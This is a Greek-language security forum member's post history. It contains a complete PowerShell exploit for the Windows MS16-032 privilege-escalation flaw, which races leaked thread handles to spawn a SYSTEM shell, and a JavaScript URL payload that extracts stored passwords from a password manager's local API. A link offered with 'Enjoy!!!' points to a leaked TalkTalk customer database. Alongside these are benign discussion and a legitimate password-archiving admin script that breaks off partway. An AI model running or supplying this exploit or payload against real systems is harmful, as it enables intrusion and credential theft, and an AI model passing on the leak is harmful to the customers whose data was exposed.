Jump to content

kavasilop

Members
  • Posts

    20
  • Joined

  • Last visited

  • Days Won

    6

Everything posted by kavasilop

  1. To patch ειναι : https://technet.microsoft.com/en-us/library/security/ms16-032.aspx Για να δουμε αν εχουμε το patch : wmic qfe | find "KB3139914" function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032 ==> https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause Required Dependencies: PowerShell v2+ Optional Dependencies: None E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 .EXAMPLE C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, String password, int logonFlags, String applicationName, String commandLine, int creationFlags, int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken( IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread(); [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } "@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false, 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } function Get-SystemToken { echo "`n[?] Trying thread handle: $Thread" echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($Thread) if ($CallResult -ne 0) { echo "[!] $Thread is a bad thread, moving on.." Return } echo "[+] Thread suspended" echo "[>] Wiping current impersonation token" $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token" # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" Return } $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.." $CallResult = [Kernel32]::ResumeThread($Thread) } # main() <--- $ms16032 = @" __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| [by b33f -> @FuzzySec] "@ $ms16032 # Check logical processor count, race condition requires 2+ echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return } # Create array for Threads & TID's $ThreadArray = @() $TidArray = @() echo "[>] Duplicating CreateProcessWithLogonW handles.." # Loop Get-ThreadHandle and collect thread handles with a valid TID for ($i=0; $i -lt 500; $i++) { $hThread = Get-ThreadHandle $hThreadID = [Kernel32]::GetThreadId($hThread) # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray if ($TidArray -notcontains $hThreadID) { $TidArray += $hThreadID if ($hThread -ne 0) { $ThreadArray += $hThread # This is what we need! } } } if ($($ThreadArray.length) -eq 0) { echo "[!] No valid thread handles were captured, exiting!" Return } else { echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" echo "`n[?] Thread handle list:" $ThreadArray } echo "`n[*] Sniffing out privileged impersonation token.." foreach ($Thread in $ThreadArray){ # Get handle to SYSTEM access token Get-SystemToken echo "`n[*] Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($Thread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) } }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race" # Adding a timeout (10 seconds) here to safeguard from edge-cases $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return } # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop() } } PoC Windows 10 :
  2. "θεωρώ ότι αυτοί πρέπει να είναι ιδιαίτερα απαιτήτικοί στο κομμάτι της ασφάλειας διαφορετικά δεν θα γινόταν αποδεκτή η λύση, μιλάμε για τράπεζες και τεράστιους οργανισμούς με απίστευτες απαιτήσεις." Σαν θεωρημα καλο ειναι στην πραξη κολαει απο παντου ομως...
  3. Το cryptolocker απλα θα παρει το αρχειο και θα το κανει encrypt . Γιαυτο το πραγμα δεν χρειαζετε να ανοιξεις το αρχειο. αν εχω πχ ενα εγγραφο και θελω να το κανω encrypt με PGP δεν χρειαζετε να το ανοιξω.....
  4. Αυτο παντος ειναι πολυ καλο "This will get you all the encrypted passwords, for example, this will show the domain of the first encrypted password:" https://localhost:49155/api/showSB?url=javascript:topWindow.process.mainModule.exports.Tower.handle.getUserData(function(n){alert(JSON.parse(n).data.passcard[0].Domain)})'
  5. Γιατι να μην μπορει??? Το cryptolocker δεν 8α ανοιξει το αρχειο..
  6. Οσοι απο εσας εχετε Trendmicro παρακαλω διαβαστε το παρακατω αρθρο.... https://code.google.com/p/google-security-research/issues/detail?id=693
  7. Πριν λίγο καιρό η TALK TALK στην αγγλία έπεσε θύμα hackers...Και όπως γίνετε σε αυτές τις περιπτωσεις η database γίνετε leak κάποια στιγμή.... http://siph0n.in/exploits.php?id=4366 Enjoy!!!
  8. Όταν αποθηκεύεις σε plaintext τα passwords τότε δεν υπάρχει "e και"..Ακόμα και όταν είσαι admin, εδώ κολλάει το σχόλιο σου "κάτι γίνετε λάθος". Για το δεύτερο δεν είμαι σίγουρος αλλα σχόλια στο internet που έχω διαβάσει αυτό λένε...Όταν έχεις πολλά μηχανήματα νομίζω ότι το "xερατo" το ξεχνάς και ψάχνεις μια λύση που θα σε κάλυψη...Σε μεγάλες εταιρίες/οργανισμούς υπάρχουν αρκετά μηχανήματα που μπορεί να έχεις παραπάνω από δυο admin. Συνφωνω μαζί σου αλλα καμια φορα δεν γίνετε αλλιώς... Update-PasswordArchive.ps1 #################################################################################### #.Synopsis # Resets the password of a local user account with a random password which is # then encrytped with your pubic key certificate. The plaintext password is # displayed with the Recover-PasswordArchive.ps1 script. # #.Description # Resets the password of a local user account with a 15-25 character, random, # complex password, which is encrytped with your own pubic key certificate. # Recovery of the encrypted password from the file requires possession of the # private key corresponding to the chosen public key certificate. The password # is never transmitted or stored in plaintext anywhere. The plaintext password # is recovered with the companion Recover-PasswordArchive.ps1 script. The # script must be run with administrative or local System privileges. The # script is also not compatible with FIPS Mode being enabled in Windows. # #.Parameter CertificateFilePath # The local or UNC path to the .CER file containing the public key # certificate which will be used to encrypt the password. The .CER # file can be DER- or Base64-encoded. (But note that the private # key for the certificate cannot be managed by a Cryptography Next # Generation (CNG) Key Storage Provider, hence, do not use the Microsoft # Software Key Storage Provider in the template for the certificate.) # In the properties of this certificate, under 'Key Usage', it must # have 'Key Encipherment' listed as one of the uses. This is set on # the certificate template used by the CA: on the Request Handling tab # the template must include Encryption as an allowed purpose. # #.Parameter LocalUserName # Name of the local user account on the computer where this script is run # whose password should be reset to a 15-25 character, complex, random password. # Do not include a "\" or "@" character, only local accounts are supported. # Defaults to "Guest", but any name can be specified. # #.Parameter PasswordArchivePath # The local or UNC path to the folder where the archive files containing # encrypted passwords will be stored. # #.Parameter MinimumPasswordLength # The minimum length of the random password. Default is 15. The exact length # used is randomly chosen to increase the workload of an attacker who can see # the contents of this script. Maximum password length defaults to 25. The # smallest acceptable minimum length is 4 due to complexity requirements. # #.Parameter MaximumPasswordLength # The maximum length of the random password. Default is 25. Max is 127. # The minimum and maximum values can be identical. # #.Example # .\Update-PasswordArchive.ps1 -CertificateFilePath C:\certificate.cer -PasswordArchivePath C:\folder # # Resets the password of the Guest account, encrypts that password # with the public key in the certificate.cer file, and saves the encrypted # archive file in C:\folder. Choose a different account with -LocalUserName. # #.Example # .\Update-PasswordArchive.ps1 -CertificateFilePath \\server\share\certificate.cer -PasswordArchivePath \\server\share # # UNC network paths can be used instead of local file system paths. Password # is not reset until after network access to the shared folder is confirmed. # The certificate and archive folders do not have to be the same. # #.Example # .\Update-PasswordArchive.ps1 -LocalUserName HelpDeskUser -CertificateFilePath \\server\share\certificate.cer -PasswordArchivePath \\server\share # # The local Guest account's password is reset by default, but any # local user name can be specified instead. # # #Requires -Version 2.0 # #.Notes # Author: Jason Fossen, Enclave Consulting LLC (http://www.sans.org/sec505) # Version: 5.3 # Updated: 4.Aug.2015 # LEGAL: PUBLIC DOMAIN. SCRIPT PROVIDED "AS IS" WITH NO WARRANTIES OR GUARANTEES OF # ANY KIND, INCLUDING BUT NOT LIMITED TO MERCHANTABILITY AND/OR FITNESS FOR # A PARTICULAR PURPOSE. ALL RISKS OF DAMAGE REMAINS WITH THE USER, EVEN IF # THE AUTHOR, SUPPLIER OR DISTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF # ANY SUCH DAMAGE. IF YOUR STATE DOES NOT PERMIT THE COMPLETE LIMITATION OF # LIABILITY, THEN DELETE THIS FILE SINCE YOU ARE NOW PROHIBITED TO HAVE IT. #################################################################################### Param ($CertificateFilePath = ".\PublicKeyCert.cer", $LocalUserName = "Guest", $PasswordArchivePath = ".\", $MinimumPasswordLength = 15, $MaximumPasswordLength = 25) #################################################################################### # Function Name: Generate-RandomPassword # Argument(s): Integer for the desired length of password. # Returns: Pseudo-random complex password that has at least one of each of the # following character types: uppercase letter, lowercase letter, # number, and legal non-alphanumeric for a Windows password. # Notes: If the argument/password is less than 4 characters long, the # function will return a 4-character password anyway. Otherwise, the # complexity requirements won't be satisfiable. Integers are # generated, converted to Unicode code points (chars), and then # encoded as a UTF16LE string so that the function can be easily # modified by users who are not using US-EN keyboards. For the # sake of script compatibility, various characters are excluded # even though this reduces randomness. #################################################################################### function Generate-RandomPassword ($length = 15) { If ($length -lt 4) { $length = 4 } #Password must be at least 4 characters long in order to satisfy complexity requirements. #Use the .NET crypto random number generator, not the weaker System.Random class with Get-Random: $RngProv = [System.Security.Cryptography.RNGCryptoServiceProvider]::Create() [byte[]] $onebyte = @(255) [Int32] $x = 0 Do { [byte[]] $password = @() $hasupper = $false #Has uppercase letter character flag. $haslower = $false #Has lowercase letter character flag. $hasnumber = $false #Has number character flag. $hasnonalpha = $false #Has non-alphanumeric character flag. $isstrong = $false #Assume password is not complex until tested otherwise. For ($i = $length; $i -gt 0; $i--) { While ($true) { #Generate a random US-ASCII code point number. $RngProv.GetNonZeroBytes( $onebyte ) [Int32] $x = $onebyte[0] if ($x -ge 32 -and $x -le 126){ break } } # Even though it reduces randomness, eliminate problem characters to preserve sanity while debugging. # If you're worried, increase the length of the password or comment out the desired line(s): If ($x -eq 32) { $x++ } #Eliminates the space character; causes problems for other scripts/tools. If ($x -eq 34) { $x-- } #Eliminates double-quote; causes problems for other scripts/tools. If ($x -eq 39) { $x-- } #Eliminates single-quote; causes problems for other scripts/tools. If ($x -eq 47) { $x-- } #Eliminates the forward slash; causes problems for net.exe. If ($x -eq 96) { $x-- } #Eliminates the backtick; causes problems for PowerShell. If ($x -eq 48) { $x++ } #Eliminates zero; causes problems for humans who see capital O. If ($x -eq 79) { $x++ } #Eliminates capital O; causes problems for humans who see zero. $password += [System.BitConverter]::GetBytes( [System.Char] $x ) If ($x -ge 65 -And $x -le 90) { $hasupper = $true } #Non-USA users may wish to customize the code point numbers by hand, If ($x -ge 97 -And $x -le 122) { $haslower = $true } #which is why we don't use functions like IsLower() or IsUpper() here. If ($x -ge 48 -And $x -le 57) { $hasnumber = $true } If (($x -ge 32 -And $x -le 47) -Or ($x -ge 58 -And $x -le 64) -Or ($x -ge 91 -And $x -le 96) -Or ($x -ge 123 -And $x -le 126)) { $hasnonalpha = $true } If ($hasupper -And $haslower -And $hasnumber -And $hasnonalpha) { $isstrong = $true } } } While ($isstrong -eq $false) #$RngProv.Dispose() #Not compatible with PowerShell 2.0. ([System.Text.Encoding]::Unicode).GetString($password) #Make sure output is encoded as UTF16LE. } #################################################################################### # Returns $True if certificate's public key may be used by this script. If $False, # check the certificate template being used by your Certification Authority (CA): # the template must have Encryption listed as an allowed purpose on the Request # Handling tab in the properties of the template. #################################################################################### function Confirm-KeyEnciphermentKeyUsage ([System.Security.Cryptography.X509Certificates.X509Certificate2] $Cert ) { #.DESCRIPTION # The properties of a certificate include a property named "Key Usage" (OID = 2.5.29.15). # One of the possible Key Usage items is named "KeyEncipherment" (http://tools.ietf.org/html/rfc5280#section-4.2.1.3). # This function returns $True if the $Cert has the KeyEncipherment key usage; returns $False otherwise. $KeyEncipherFlag = [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::KeyEncipherment $result = $Cert.Extensions | where { $_.oid.value -eq '2.5.29.15' } | where { ($_.keyusages -band $KeyEncipherFlag) -eq $KeyEncipherFlag } if ($result) { $True } else { $False } } #################################################################################### # Returns true if password reset accepted, false if there is an error. # Only works on local computer, but can be modified to work remotely too. #################################################################################### Function Reset-LocalUserPassword ($UserName, $NewPassword) { Try { $ADSI = [ADSI]("WinNT://" + $env:ComputerName + ",computer") $User = $ADSI.PSbase.Children.Find($UserName) $User.PSbase.Invoke("SetPassword",$NewPassword) $User.PSbase.CommitChanges() $User = $null $ADSI = $null $True } Catch { $False } } #################################################################################### # Writes to console, writes to Application event log, optionally exits. # Event log: Application, Source: "PasswordArchive", Event ID: 9013 #################################################################################### function Write-StatusLog ( $Message, [Switch] $Exit ) { # Define the Source attribute for when this script writes to the Application event log. New-EventLog -LogName Application -Source PasswordArchive -ErrorAction SilentlyContinue "`n" + $Message + "`n" #The following here-string is written to the Application log only when there is an error, #but it contains information that could be useful to an attacker with access to the log. #The data is written for troubleshooting purposes, but feel free change it if concerned. #It does not contain any passwords of course. $ErrorOnlyLogMessage = @" $Message CurrentPrincipal = $($CurrentPrincipal.Identity.Name) CertificateFilePath = $CertificateFilePath LocalUserName = $LocalUserName PasswordArchivePath = $PasswordArchivePath ArchiveFileName = $filename "@ if ($Exit) { write-eventlog -logname Application -source PasswordArchive -eventID 9013 -message $ErrorOnlyLogMessage -EntryType Error } else { write-eventlog -logname Application -source PasswordArchive -eventID 9013 -message $Message -EntryType Information } if ($Exit) { exit } } # Sanity check the two password lengths: if ($MinimumPasswordLength -le 3) { $MinimumPasswordLength = 4 } if ($MaximumPasswordLength -gt 127) { $MaximumPasswordLength = 127 } if ($MinimumPasswordLength -gt 127) { $MinimumPasswordLength = 127 } if ($MaximumPasswordLength -lt $MinimumPasswordLength) { $MaximumPasswordLength = $MinimumPasswordLength } # Confirm that this process has administrative privileges to reset a local password. $CurrentWindowsID = [System.Security.Principal.WindowsIdentity]::GetCurrent() $CurrentPrincipal = new-object System.Security.Principal.WindowsPrincipal($CurrentWindowsID) if (-not $? -or -not $CurrentPrincipal.IsInRole("Administrators")) { write-statuslog -m "ERROR: This process lacks the privileges necessary to reset a password." -exit } # Confirm that the target local account exists and that ADSI is accessible. if ($LocalUserName -match '[\\@]') { write-statuslog -m "ERROR: This script can only be used to reset the passwords of LOCAL user accounts, please specify a simple username without an '@' or '\' character in it." -exit } try { $ADSI = [ADSI]("WinNT://" + $env:ComputerName + ",computer") $User = $ADSI.PSbase.Children.Find($LocalUserName) $User = $null $ADSI = $null } catch { write-statuslog -m "ERROR: Local user does not exist: $LocalUserName" -exit } # Get the public key certificate. if (Resolve-Path -Path $CertificateFilePath) { $CertificateFilePath = $(Resolve-Path -Path $CertificateFilePath).Path } else { write-statuslog -m "ERROR: Cannot resolve path to certificate file: $CertificateFilePath" -exit } if ($CertificateFilePath -ne $null -and $(test-path -path $CertificateFilePath)) { if ($CertificateFilePath -like '*.p7b') { Write-StatusLog -m "ERROR: Certificate must be a DER- or BASE64-encoded X.509 certificate, not PKCS #7." -exit } [Byte[]] $certbytes = get-content -encoding byte -path $CertificateFilePath $cert = new-object System.Security.Cryptography.X509Certificates.X509Certificate2(,$certbytes) if (-not $? -or ($cert.GetType().fullname -notlike "*X509*")) { write-statuslog -m "ERROR: Invalid or corrupt certificate file: $CertificateFilePath" -exit } } else { write-statuslog -m "ERROR: Could not find the certificate file: $CertificateFilePath" -exit } # Confirm that the certificate has "Key Encipherment" as an allowed Key Usage in the properties of the cert. if (-not (Confirm-KeyEnciphermentKeyUsage -Cert $cert)) { write-statuslog -m "ERROR: This public key certificate cannot be used because it does not have 'Key Encipherment' listed under 'Key Usage' in its properties. Check the certificate template used by the Certification Authority (CA) to create your certificate and confirm that 'Encryption' is listed as one of the allowed purposes on the 'Request Handling' tab in the properties of the template." -Exit } # Construct name of the archive file, whose name will also be used as a nonce. # Ticks string will be 18 characters, certificate SHA* hash will be at least 40 characters, plus some user/computer name bytes. $filename = $env:computername + "+" + $LocalUserName + "+" + $(get-date).ticks + "+" + $cert.thumbprint if ($filename.length -le 60) { write-statuslog -m "ERROR: The archive file name is invalid (too short): $filename " -exit } # Generate and test new random password with min and max lengths. $newpassword = "ConfirmThatNewPasswordIsRandom" if ($MinimumPasswordLength -eq $MaximumPasswordLength) { $newpassword = Generate-RandomPassword -Length $MaximumPasswordLength } else { $newpassword = Generate-RandomPassword -Length $(Get-Random -Minimum $MinimumPasswordLength -Maximum $MaximumPasswordLength) } # Users outside USA might modify the Generate-RandomPassword function, hence this check. if ($newpassword -eq "ConfirmThatNewPasswordIsRandom") { write-statuslog -m "ERROR: Password generation failure, password not reset." -exit } # Construct the array of bytes to be hashed and then encrypted. # Prepend first 60 characters of the $filename as a nonce to the new password. # This is done for the sake of integrity checking later in the Recover-PasswordArchive.ps1 script. [byte[]] $bytes = @() $bytes += [System.Text.Encoding]::Unicode.GetBytes( $filename.substring(0,60) ) $bytes += [System.Text.Encoding]::Unicode.GetBytes( $newpassword ) # Get the SHA256 hash of the bytes to be encrypted and prepend them to $bytes array. $SHA256Hasher = [System.Security.Cryptography.SHA256]::Create() [Byte[]] $hash = $SHA256Hasher.ComputeHash( $bytes ) #Produces 32 bytes. $bytes = ($hash += $bytes) $SHA256Hasher = $null #.Dispose() is not supported in PowerShell 2.0 # Hence, the $bytes array at this point now has this format: # 32 bytes : SHA256 hash of the rest of the bytes. # 120 bytes : Computer+User+Ticks+Thumbprint (60 two-byte chars = 120 bytes). # ?? bytes : All remaining bytes are for the UTF16 password, which is variable in length. # Encrypt $bytes with 256-bit Rijnael key (can't use AES directly, it requires .NET 3.5 or later). $Rijndael = New-Object -TypeName System.Security.Cryptography.RijndaelManaged $Rijndael.GenerateKey() $Rijndael.GenerateIV() $Rijndael.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126 $Encryptor = $Rijndael.CreateEncryptor() $MemoryStream = New-Object -TypeName System.IO.MemoryStream $StreamMode = [System.Security.Cryptography.CryptoStreamMode]::Write $CryptoStream = New-Object -TypeName System.Security.Cryptography.CryptoStream -ArgumentList $MemoryStream,$Encryptor,$StreamMode $CryptoStream.Write($bytes, 0, $bytes.Length) #Fill MemoryStream with encrypted bytes. $CryptoStream.Dispose() #Must come after the Write() or else "padding error" when decrypting. [byte[]] $EncryptedBytes = $MemoryStream.ToArray() $MemoryStream.Dispose() # Encrypt the Rijndael key and IV (32 + 16 bytes) with the public key, then # append the Rijndael-encrypted payload to the end of it: [byte[]] $cipherbytes = $cert.publickey.key.encrypt(($Rijndael.Key + $Rijndael.IV),$false) #Must be $false for smart card to work. if (-not $? -or $cipherbytes.count -lt 40) { write-statuslog -m "ERROR: Encryption of symmetric key failed, password not reset." -exit } $cipherbytes = $cipherbytes + $EncryptedBytes if (-not $? -or $cipherbytes.count -lt 280) { write-statuslog -m "ERROR: Encryption of payload failed, password not reset." -exit } # Hence, the $cipherbytes array at this point now has this format (280 byte min): # ?? bytes : Encrypted Rijndael key and IV, variable in length, same size as public key, but at least 128 bytes for 1024-bit pub key. # 32 bytes : SHA256 hash of the rest of the bytes. # 120 bytes : Computer+User+Ticks+Thumbprint (60 two-byte chars = 120 bytes). # ?? bytes : All remaining bytes are for the UTF16 password, which is variable in length. # Must save encrypted password file before resetting the password, confirm before proceeding. if (Resolve-Path -Path $PasswordArchivePath) { $PasswordArchivePath = $(Resolve-Path -Path $PasswordArchivePath).Path } else { write-statuslog -m "ERROR: Cannot resolve path to archive folder: $PasswordArchivePath" -exit } if (-not $(test-path -pathtype container -path $PasswordArchivePath)) { write-statuslog -m "ERROR: Archive path not accessible: $PasswordArchivePath" -exit } if ($PasswordArchivePath -notlike "*\") { $PasswordArchivePath = $PasswordArchivePath + "\" } $cipherbytes | set-content -encoding byte -path ($PasswordArchivePath + $filename) if (-not $?) { write-statuslog -m "ERROR: Failed to save archive file, password not reset." -exit } if (-not $(test-path -pathtype leaf -path $($PasswordArchivePath + $filename))){ write-statuslog -m "ERROR: Failed to find archive file, password not reset." -exit } # Attempt to reset the password. if ( Reset-LocalUserPassword -UserName $LocalUserName -NewPassword $newpassword ) { remove-variable -name newpassword #Just tidying up, not really necessary at this point... write-statuslog -m "SUCCESS: $LocalUserName password reset and archive file saved." } else { # Write the RESET-FAILURE file to the archive path; these failure files are used by the other scripts too. $filename = $env:computername + "+" + $LocalUserName + "+" + $(get-date).ticks + "+PASSWORD-RESET-FAILURE" "ERROR: Failed to reset password after creating a success file:`n`n" + $error[0] | set-content -path ($PasswordArchivePath + $filename) write-statuslog -m "ERROR: Failed to reset password after creating a success file:`n`n $error[0]" -exit } # FIN Recover-PasswordArchive.ps1 #################################################################################### #.Synopsis # Recover the plaintext password from an encrypted file originally # created with the companion script named Update-PasswordArchive.ps1. # #.Description # Recover the plaintext password from an encrypted file originally # created with the companion script named Update-PasswordArchive.ps1. The # file is encrypted with a public key chosen by the administrator. The # password generated by Update-PasswordArchive.ps1 is random. Recovery # of the encrypted password from the file requires possession of the # private key corresponding to the chosen public key certificate. (Note # that CNG key storage providers are not supported, hence, do not use the # Microsoft Software Key Storage Provider in the template for the original # certificate request.) # #.Parameter PasswordArchivePath # The local or UNC path to where the encrypted password files are kept. # #.Parameter ComputerName # Name of the computer with the local account whose password was reset # and whose password was encrypted and saved to a file. The computer # name will match the names of files in the PasswordArchivePath. This # parameter can accept a computer name with a wildcard in it. # #.Parameter UserName # Name of the local user account whose password was reset and whose password # was encrypted and saved to a file. The username will match the names of # files in the PasswordArchivePath. Default is "Administrator". If you # are not certain, just enter "*" and the last reset will be used, whatever # username that may be, or you might use the -ShowAll switch instead. # #.Parameter ShowAll # Without this switch, only the most recent plaintext password is shown. # With this switch, all archived passwords for the computer are shown. # This might be necessary when the passwords of multiple local user # accounts are being managed with these scripts. # # #.Example # .\Recover-PasswordArchive.ps1 -ComputerName LAPTOP47 -UserName Administrator # # Displays in plaintext the last recorded password updated on LAPTOP47. # The user running this script must have loaded into their local cache # the certificate AND private key corresponding to the certificate used # to originally encrypt the password archive files in the present # working directory. A smart card may be used instead. The default # username is "Administrator", so this argument was not actually required. # #.Example # .\Recover-PasswordArchive.ps1 -PasswordArchivePath \\server\share -ComputerName WKS* # # Instead of the 